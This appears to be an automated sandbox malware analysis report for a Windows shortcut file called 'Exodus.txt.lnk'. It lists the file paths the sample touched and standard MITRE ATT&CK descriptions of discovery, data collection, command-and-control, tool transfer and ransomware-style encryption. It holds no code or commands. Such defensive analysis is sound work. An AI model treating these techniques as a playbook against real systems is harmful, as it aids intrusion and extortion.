C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\9D932ED301.zip

C:\Users\user\AppData\Local\9D932ED301.zip.bin

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\tmp1201676045.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2p1n3l5i.2j2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5q3fqksc.hax.psm1

Windows Analysis Report
Exodus.txt.lnk

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre